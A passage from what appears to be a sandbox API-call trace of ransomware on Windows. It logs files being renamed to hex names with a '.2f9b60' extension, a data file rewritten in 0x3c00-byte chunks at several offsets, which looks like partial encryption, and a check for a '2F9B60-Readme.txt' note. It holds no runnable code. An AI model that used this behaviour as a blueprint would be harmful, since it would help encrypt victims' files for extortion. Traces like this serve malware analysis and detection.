out: _Dest="4a") returned 2 [0208.573] sprintf (in: _Dest=0x4319f306, _Format="%c%c" | out: _Dest="3b") returned 2 [0208.573] sprintf (in: _Dest=0x4319f308, _Format="%c%c" | out: _Dest="03") returned 2 [0208.573] sprintf (in: _Dest=0x4319f30a, _Format="%c%c" | out: _Dest="6f") returned 2 [0208.573] sprintf (in: _Dest=0x4319f30c, _Format="%c%c" | out: _Dest="db") returned 2 [0208.573] sprintf (in: _Dest=0x4319f30e, _Format="%c%c" | out: _Dest="e2") returned 2 [0208.573] sprintf (in: _Dest=0x4319f310, _Format="%c%c" | out: _Dest="eb") returned 2 [0208.573] sprintf (in: _Dest=0x4319f312, _Format="%c%c" | out: _Dest="f8") returned 2 [0208.573] sprintf (in: _Dest=0x4319f314, _Format="%c%c" | out: _Dest="da") returned 2 [0208.573] sprintf (in: _Dest=0x4319f316, _Format="%c%c" | out: _Dest="67") returned 2 [0208.573] sprintf (in: _Dest=0x4319f318, _Format="%c%c" | out: _Dest="df") returned 2 [0208.573] sprintf (in: _Dest=0x4319f31a, _Format="%c%c" | out: _Dest="12") returned 2 [0208.573] sprintf (in: _Dest=0x4319f31c, _Format="%c%c" | out: _Dest="ab") returned 2 [0208.573] sprintf (in: _Dest=0x4319f31e, _Format="%c%c" | out: _Dest="72") returned 2 [0208.573] sprintf (in: _Dest=0x4319f320, _Format="%c%c" | out: _Dest="56") returned 2 [0208.573] sprintf (in: _Dest=0x4319f322, _Format="%c%c" | out: _Dest="e0") returned 2 [0208.573] sprintf (in: _Dest=0x4319f324, _Format="%c%c" | out: _Dest="c4") returned 2 [0208.573] sprintf (in: _Dest=0x4319f326, _Format="%c%c" | out: _Dest="5d") returned 2 [0208.573] sprintf (in: _Dest=0x4319f328, _Format="%c%c" | out: _Dest="e1") returned 2 [0208.573] sprintf (in: _Dest=0x4319f32a, _Format="%c%c" | out: _Dest="4e") returned 2 [0208.573] sprintf (in: _Dest=0x4319f32c, _Format="%c%c" | out: _Dest="8e") returned 2 [0208.574] sprintf (in: _Dest=0x4319f32e, _Format="%c%c" | out: _Dest="79") returned 2 [0208.574] sprintf (in: _Dest=0x4319f330, _Format="%c%c" | out: _Dest="0b") returned 2 [0208.574] sprintf (in: _Dest=0x4319f332, _Format="%c%c" | out: _Dest="4c") returned 2 [0208.574] sprintf (in: _Dest=0x4319f334, _Format="%c%c" | out: _Dest="59") returned 2 [0208.574] sprintf (in: _Dest=0x4319f336, _Format="%c%c" | out: _Dest="16") returned 2 [0208.574] sprintf (in: _Dest=0x4319f338, _Format="%c%c" | out: _Dest="d1") returned 2 [0208.574] sprintf (in: _Dest=0x4319f33a, _Format="%c%c" | out: _Dest="a0") returned 2 [0208.574] sprintf (in: _Dest=0x4319f33c, _Format="%c%c" | out: _Dest="b5") returned 2 [0208.574] sprintf (in: _Dest=0x4319f33e, _Format="%c%c" | out: _Dest="a5") returned 2 [0208.574] sprintf (in: _Dest=0x4319f340, _Format="%c%c" | out: _Dest="3b") returned 2 [0208.574] sprintf (in: _Dest=0x4319f342, _Format="%c%c" | out: _Dest="da") returned 2 [0208.574] sprintf (in: _Dest=0x4319f344, _Format="%c%c" | out: _Dest="7a") returned 2 [0208.574] sprintf (in: _Dest=0x4319f346, _Format="%c%c" | out: _Dest="f2") returned 2 [0208.574] sprintf (in: _Dest=0x4319f348, _Format="%c%c" | out: _Dest="09") returned 2 [0208.574] sprintf (in: _Dest=0x4319f34a, _Format="%c%c" | out: _Dest="97") returned 2 [0208.574] sprintf (in: _Dest=0x4319f34c, _Format="%c%c" | out: _Dest="20") returned 2 [0208.574] sprintf (in: _Dest=0x4319f34e, _Format="%c%c" | out: _Dest="1a") returned 2 [0208.574] RtlInitAnsiString (in: DestinationString=0x310af8c8, SourceString="e33704711cc4ededff184a3b036fdbe2ebf8da67df12ab7256e0c45de14e8e790b4c5916d1a0b5a53bda7af20997201a" | out: DestinationString="e33704711cc4ededff184a3b036fdbe2ebf8da67df12ab7256e0c45de14e8e790b4c5916d1a0b5a53bda7af20997201a") [0208.574] RtlAnsiStringToUnicodeString (in: DestinationString=0x310af898, SourceString="e33704711cc4ededff184a3b036fdbe2ebf8da67df12ab7256e0c45de14e8e790b4c5916d1a0b5a53bda7af20997201a", AllocateDestinationString=1 | out: DestinationString="e33704711cc4ededff184a3b036fdbe2ebf8da67df12ab7256e0c45de14e8e790b4c5916d1a0b5a53bda7af20997201a") returned 0x0 [0208.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x430fd280 [0208.575] wcscat (in: _Dest=0x106f40, _Source="e33704711cc4ededff184a3b" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\e33704711cc4ededff184a3b") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\e33704711cc4ededff184a3b" [0208.575] wcscat (in: _Dest=0x106f40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\e33704711cc4ededff184a3b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\e33704711cc4ededff184a3b.2f9b60" [0208.575] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\e33704711cc4ededff184a3b.2f9b60", NtPathName=0x310af870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\e33704711cc4ededff184a3b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd6) returned 0x431569c0 [0210.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431569c0) returned 1 [0210.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430a7180) returned 1 [0210.551] NtQueryInformationFile (in: FileHandle=0x1d3c, IoStatusBlock=0x310af8d8, FileInformation=0x310af8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x310af8d8, FileInformation=0x310af8e8) returned 0x0 [0210.551] NtSetInformationFile (FileHandle=0x1d3c, IoStatusBlock=0x310af8d8, FileInformation=0x310af8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0215.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106f40) returned 1 [0215.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430fd280) returned 1 [0215.223] FlushFileBuffers (hFile=0x1d3c) returned 1 [0215.227] CloseHandle (hObject=0x1d3c) returned 1 [0217.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x43150400 [0217.659] wcscpy (in: _Dest=0x43150400, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" [0217.659] wcscat (in: _Dest=0x43150400, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\2F9B60-Readme.txt" [0217.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\2f9b60-readme.txt")) returned 0x20 [0217.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43150400) returned 1 [0217.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107900) returned 1 Thread: id = 1974 os_tid = 0x11b0 [0136.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ced9240 [0136.070] wcscpy (in: _Dest=0x1ced9240, _Source="C:\\ProgramData\\Microsoft\\Windows\\DRM\\Cache" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DRM\\Cache") returned="C:\\ProgramData\\Microsoft\\Windows\\DRM\\Cache" [0136.070] wcscat (in: _Dest=0x1ced9240, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DRM\\Cache\\") returned="C:\\ProgramData\\Microsoft\\Windows\\DRM\\Cache\\" [0136.070] wcscat (in: _Dest=0x1ced9240, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DRM\\Cache\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\DRM\\Cache\\*" [0136.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9a560 [0136.070] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\DRM\\Cache\\*", lpFindFileData=0x1cd9a560 | out: lpFindFileData=0x1cd9a560*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5ec0 [0136.071] wcscmp (_String1=".", _String2=".") returned 0 [0136.071] FindNextFileW (in: hFindFile=0x1ced5ec0, lpFindFileData=0x1cd9a560 | out: lpFindFileData=0x1cd9a560*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.071] wcscmp (_String1="..", _String2=".") returned 1 [0136.071] wcscmp (_String1="..", _String2="..") returned 0 [0136.071] FindNextFileW (in: hFindFile=0x1ced5ec0, lpFindFileData=0x1cd9a560 | out: lpFindFileData=0x1cd9a560*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0136.071] FindClose (in: hFindFile=0x1ced5ec0 | out: hFindFile=0x1ced5ec0) returned 1 [0136.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9a560) returned 1 [0136.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9240) returned 1 [0136.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ca90) returned 1 Thread: id = 1975 os_tid = 0x11b4 [0136.075] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-ntkl.etl" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-ntkl.etl")) returned 0x2020 [0136.078] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-ntkl.etl", dwFileAttributes=0x20) returned 1 [0136.079] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-ntkl.etl" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-ntkl.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1d40 [0136.080] GetFileSizeEx (in: hFile=0x1d40, lpFileSize=0x255ffba0 | out: lpFileSize=0x255ffba0*=2818048) returned 1 [0136.080] SetFilePointerEx (in: hFile=0x1d40, liDistanceToMove=0x2afffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.080] ReadFile (in: hFile=0x1d40, lpBuffer=0x255ffb20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x255ffb68, lpOverlapped=0x0 | out: lpBuffer=0x255ffb20*, lpNumberOfBytesRead=0x255ffb68*=0x4, lpOverlapped=0x0) returned 1 [0136.182] SetFilePointerEx (in: hFile=0x1d40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7e0 [0136.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260680 [0136.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261b80 [0136.183] NtQuerySystemTime (in: CurrentTime=0x255ffa60 | out: CurrentTime=0x255ffa60*=132462177414214000) returned 0x0 [0136.183] RtlRandomEx (in: Seed=0x255ffa50 | out: Seed=0x255ffa50) returned 0x607526cb [0136.183] RtlRandomEx (in: Seed=0x255ffa50 | out: Seed=0x255ffa50) returned 0x68f09614 [0136.183] RtlRandomEx (in: Seed=0x255ffa50 | out: Seed=0x255ffa50) returned 0x5ec1405d [0136.183] RtlRandomEx (in: Seed=0x255ffa50 | out: Seed=0x255ffa50) returned 0x500301d5 [0136.183] RtlRandomEx (in: Seed=0x255ffa50 | out: Seed=0x255ffa50) returned 0x6c957a9f [0136.183] RtlRandomEx (in: Seed=0x255ffa50 | out: Seed=0x255ffa50) returned 0x34f915ea [0136.183] RtlRandomEx (in: Seed=0x255ffa50 | out: Seed=0x255ffa50) returned 0x4a6be950 [0136.183] RtlRandomEx (in: Seed=0x255ffa50 | out: Seed=0x255ffa50) returned 0x6d2f364a [0136.183] RtlRandomEx (in: Seed=0x255ffa50 | out: Seed=0x255ffa50) returned 0x53b379de [0136.184] RtlRandomEx (in: Seed=0x255ffa50 | out: Seed=0x255ffa50) returned 0x4084aef8 [0136.184] RtlRandomEx (in: Seed=0x255ffa50 | out: Seed=0x255ffa50) returned 0x3f28e68e [0136.184] RtlRandomEx (in: Seed=0x255ffa50 | out: Seed=0x255ffa50) returned 0x43ce565a [0136.184] RtlRandomEx (in: Seed=0x255ffa50 | out: Seed=0x255ffa50) returned 0x699a385a [0136.184] RtlRandomEx (in: Seed=0x255ffa50 | out: Seed=0x255ffa50) returned 0x4fdc93a6 [0136.184] RtlRandomEx (in: Seed=0x255ffa50 | out: Seed=0x255ffa50) returned 0x7e395ba3 [0136.184] RtlRandomEx (in: Seed=0x255ffa50 | out: Seed=0x255ffa50) returned 0x35c7c627 [0136.184] RtlRandomEx (in: Seed=0x255ffa50 | out: Seed=0x255ffa50) returned 0x5e19c2f [0136.184] RtlRandomEx (in: Seed=0x255ffa50 | out: Seed=0x255ffa50) returned 0x4177698b [0136.184] RtlRandomEx (in: Seed=0x255ffa50 | out: Seed=0x255ffa50) returned 0x49c42ef2 [0136.184] RtlRandomEx (in: Seed=0x255ffa50 | out: Seed=0x255ffa50) returned 0x315dea3 [0136.184] RtlRandomEx (in: Seed=0x255ffa50 | out: Seed=0x255ffa50) returned 0x3b8e0e1b [0136.184] RtlRandomEx (in: Seed=0x255ffa50 | out: Seed=0x255ffa50) returned 0x1ff42a44 [0136.184] RtlRandomEx (in: Seed=0x255ffa50 | out: Seed=0x255ffa50) returned 0x32422ab3 [0136.184] RtlRandomEx (in: Seed=0x255ffa50 | out: Seed=0x255ffa50) returned 0x5669792c [0136.184] RtlRandomEx (in: Seed=0x255ffa50 | out: Seed=0x255ffa50) returned 0x6325f6bf [0136.184] RtlRandomEx (in: Seed=0x255ffa50 | out: Seed=0x255ffa50) returned 0x1c04fe7f [0136.184] RtlRandomEx (in: Seed=0x255ffa50 | out: Seed=0x255ffa50) returned 0x620b0633 [0136.184] RtlRandomEx (in: Seed=0x255ffa50 | out: Seed=0x255ffa50) returned 0x703e9bd1 [0136.184] RtlRandomEx (in: Seed=0x255ffa50 | out: Seed=0x255ffa50) returned 0x581f92d5 [0136.184] RtlRandomEx (in: Seed=0x255ffa50 | out: Seed=0x255ffa50) returned 0x1613f990 [0136.184] RtlRandomEx (in: Seed=0x255ffa50 | out: Seed=0x255ffa50) returned 0x52ae2e80 [0136.184] RtlRandomEx (in: Seed=0x255ffa50 | out: Seed=0x255ffa50) returned 0x12c48735 [0136.195] SetFilePointerEx (in: hFile=0x1d40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.195] ReadFile (in: hFile=0x1d40, lpBuffer=0x20373560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x255ffac0, lpOverlapped=0x0 | out: lpBuffer=0x20373560*, lpNumberOfBytesRead=0x255ffac0*=0x3c00, lpOverlapped=0x0) returned 1 [0136.311] SetFilePointerEx (in: hFile=0x1d40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0136.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0136.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a230 [0136.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a230) returned 1 [0136.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203c61b0 [0136.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a230 [0136.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a260 [0136.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a260) returned 1 [0136.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0136.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0136.312] WriteFile (in: hFile=0x1d40, lpBuffer=0x203c61b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x255ffac0, lpOverlapped=0x0 | out: lpBuffer=0x203c61b0*, lpNumberOfBytesWritten=0x255ffac0*=0x3c00, lpOverlapped=0x0) returned 1 [0136.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203c61b0) returned 1 [0136.422] SetFilePointerEx (in: hFile=0x1d40, liDistanceToMove=0x159000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.423] ReadFile (in: hFile=0x1d40, lpBuffer=0x20373560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x255ffac0, lpOverlapped=0x0 | out: lpBuffer=0x20373560*, lpNumberOfBytesRead=0x255ffac0*=0x3c00, lpOverlapped=0x0) returned 1 [0136.492] SetFilePointerEx (in: hFile=0x1d40, liDistanceToMove=0x159000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd98020 [0136.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420608b0 [0136.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a380 [0136.493] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a380) returned 1 [0136.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20320910 [0136.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a380 [0136.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3e0 [0136.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3e0) returned 1 [0136.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420608b0) returned 1 [0136.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98020) returned 1 [0136.494] WriteFile (in: hFile=0x1d40, lpBuffer=0x20320910*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x255ffac0, lpOverlapped=0x0 | out: lpBuffer=0x20320910*, lpNumberOfBytesWritten=0x255ffac0*=0x3c00, lpOverlapped=0x0) returned 1 [0136.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20320910) returned 1 [0136.519] SetFilePointerEx (in: hFile=0x1d40, liDistanceToMove=0x2ac400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.519] ReadFile (in: hFile=0x1d40, lpBuffer=0x20373560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x255ffac0, lpOverlapped=0x0 | out: lpBuffer=0x20373560*, lpNumberOfBytesRead=0x255ffac0*=0x3c00, lpOverlapped=0x0) returned 1 [0136.538] SetFilePointerEx (in: hFile=0x1d40, liDistanceToMove=0x2ac400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97800 [0136.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0136.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3b0 [0136.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3b0) returned 1 [0136.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203554e0 [0136.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3b0 [0136.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a620 [0136.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a620) returned 1 [0136.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0136.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97800) returned 1 [0136.540] WriteFile (in: hFile=0x1d40, lpBuffer=0x203554e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x255ffac0, lpOverlapped=0x0 | out: lpBuffer=0x203554e0*, lpNumberOfBytesWritten=0x255ffac0*=0x3c00, lpOverlapped=0x0) returned 1 [0136.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203554e0) returned 1 [0136.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced8e50 [0136.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3b0) returned 1 [0136.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a380) returned 1 [0136.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a230) returned 1 [0136.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20373560) returned 1 [0136.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9f1f0 [0136.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97800 [0136.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0136.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a230 [0136.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a230) returned 1 [0136.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9ecf0 [0136.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a230 [0136.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a380 [0136.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a380) returned 1 [0136.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0136.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97800) returned 1 [0136.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x150) returned 0x133ce0 [0136.547] SetFilePointerEx (in: hFile=0x1d40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0136.547] WriteFile (in: hFile=0x1d40, lpBuffer=0x133ce0*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x255ffb70, lpOverlapped=0x0 | out: lpBuffer=0x133ce0*, lpNumberOfBytesWritten=0x255ffb70*=0x150, lpOverlapped=0x0) returned 1 [0136.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0136.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0136.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4a0 [0136.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4a0) returned 1 [0136.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x4205a4a0 [0136.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a470 [0136.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a260 [0136.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a260) returned 1 [0136.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0136.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0136.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1cd97580 [0136.610] sprintf (in: _Dest=0x1cd97580, _Format="%c%c" | out: _Dest="08") returned 2 [0136.610] sprintf (in: _Dest=0x1cd97582, _Format="%c%c" | out: _Dest="0c") returned 2 [0136.610] sprintf (in: _Dest=0x1cd97584, _Format="%c%c" | out: _Dest="38") returned 2 [0136.610] sprintf (in: _Dest=0x1cd97586, _Format="%c%c" | out: _Dest="5a") returned 2 [0136.610] sprintf (in: _Dest=0x1cd97588, _Format="%c%c" | out: _Dest="e0") returned 2 [0136.610] sprintf (in: _Dest=0x1cd9758a, _Format="%c%c" | out: _Dest="36") returned 2 [0136.610] sprintf (in: _Dest=0x1cd9758c, _Format="%c%c" | out: _Dest="86") returned 2 [0136.610] sprintf (in: _Dest=0x1cd9758e, _Format="%c%c" | out: _Dest="5b") returned 2 [0136.610] sprintf (in: _Dest=0x1cd97590, _Format="%c%c" | out: _Dest="22") returned 2 [0136.610] sprintf (in: _Dest=0x1cd97592, _Format="%c%c" | out: _Dest="c1") returned 2 [0136.610] sprintf (in: _Dest=0x1cd97594, _Format="%c%c" | out: _Dest="b3") returned 2 [0136.610] sprintf (in: _Dest=0x1cd97596, _Format="%c%c" | out: _Dest="b8") returned 2 [0136.610] sprintf (in: _Dest=0x1cd97598, _Format="%c%c" | out: _Dest="db") returned 2 [0136.610] sprintf (in: _Dest=0x1cd9759a, _Format="%c%c" | out: _Dest="53") returned 2 [0136.610] sprintf (in: _Dest=0x1cd9759c, _Format="%c%c" | out: _Dest="f2") returned 2 [0136.610] sprintf (in: _Dest=0x1cd9759e, _Format="%c%c" | out: _Dest="7f") returned 2 [0136.610] sprintf (in: _Dest=0x1cd975a0, _Format="%c%c" | out: _Dest="34") returned 2 [0136.610] sprintf (in: _Dest=0x1cd975a2, _Format="%c%c" | out: _Dest="41") returned 2 [0136.611] sprintf (in: _Dest=0x1cd975a4, _Format="%c%c" | out: _Dest="dc") returned 2 [0136.611] sprintf (in: _Dest=0x1cd975a6, _Format="%c%c" | out: _Dest="36") returned 2 [0136.611] sprintf (in: _Dest=0x1cd975a8, _Format="%c%c" | out: _Dest="79") returned 2 [0136.611] sprintf (in: _Dest=0x1cd975aa, _Format="%c%c" | out: _Dest="ad") returned 2 [0136.611] sprintf (in: _Dest=0x1cd975ac, _Format="%c%c" | out: _Dest="eb") returned 2 [0136.611] sprintf (in: _Dest=0x1cd975ae, _Format="%c%c" | out: _Dest="ad") returned 2 [0136.611] sprintf (in: _Dest=0x1cd975b0, _Format="%c%c" | out: 